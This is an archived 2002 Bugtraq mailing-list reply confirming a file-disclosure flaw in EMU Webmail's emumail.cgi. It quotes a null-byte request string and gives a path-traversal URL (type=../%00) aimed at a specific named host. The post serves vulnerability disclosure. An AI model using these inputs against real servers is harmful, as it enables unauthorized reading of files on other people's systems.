Re: emumail.cgi

From: Tom Micklovitch (h_bugtraqat_private)
Date: Fri Apr 05 2002 - 00:55:31 PST

Next message: Mike Scher: "Re: Multiple Vendor "talkd" user validation fault."

Previous message: Nicolas Gregoire: "CA security contact"
Next in thread: MegaHz: "Re: emumail.cgi"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

--- acidneoat_private wrote:
> name            : emumail.cgi
> date            : 04/04/2002
> description     : EMU Webmail: how to check
> your email
> from the web. 
> severity        : Low/average-risk
> homepage        : www.emumail.com
> 
> Any user can view files on the remote system:
> xxx/PATH/emumail.cgi?type=FILE%00
> 
> 
> 
> The vendor were contact about that
> 
> 

confirmed on nph-emumail.cgi
(see http://q1.quik.com/quikmail/nph-emumail.cgi?type=../%00)

=====
-----BEGIN GEEK CODE BLOCK-----
  Version: 3.1 www.geekcode.com
GIT d--(---) s-:-- a-- C++++ UL@ P--- L++>+++ E---(-) W+++(-)$ N-(--) o-- K++ w(+)(-) O? !M ?V(-) PS+++@ PE-- Y+ PGP++ t+ 5-(++) X(+) R tv(--) b+>+++ DI++ D- (Quake+++) G+>++ e* h r++>+++ y+(+++)
-----END GEEK CODE BLOCK-----

__________________________________________________
Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax
http://taxes.yahoo.com/

Next message: Mike Scher: "Re: Multiple Vendor "talkd" user validation fault."
Previous message: Nicolas Gregoire: "CA security contact"
Next in thread: MegaHz: "Re: emumail.cgi"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 05 2002 - 11:27:14 PST